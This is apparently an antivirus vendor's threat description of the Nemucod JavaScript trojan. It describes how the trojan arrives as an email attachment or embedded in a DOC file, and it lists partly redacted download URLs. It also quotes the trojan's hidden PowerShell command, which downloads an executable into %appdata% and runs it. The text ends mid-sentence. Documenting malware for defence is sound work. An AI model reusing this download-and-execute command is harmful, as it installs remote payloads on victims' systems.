JS_NEMUCOD.ELDSAUFI

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Rootkit Capabilities

This Trojan does not have rootkit capabilities.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://ta.{BLOCKED}celatinos.co/js100.bin?jvXKO
• http://pop.{BLOCKED}horeweed.net/014.bin?cuMlLwE
• http://de.{BLOCKED}atinos.com/js100.bin?MjJEtbA

It saves the files it downloads using the following names:

• %User Profile%\AppData\Roaming{random characters}.exe

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)

Other Details

This Trojan does the following:

• The malware uses powershell commands in executing its malicious routine:
  %System%\cmd.exe /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('{malicious link}','%apPdatA%{random characters}.exe'); sTarT-pROCESs '%appdata%{random characters}.eXe';

It does not exploit any vulnerability.

NOTES:

This malware arrives through a DOC file. It is embedded and will execute its routine upon activation by the user:

Upon execution of this malicious embedded JS file, it displays the following message box to trick the user: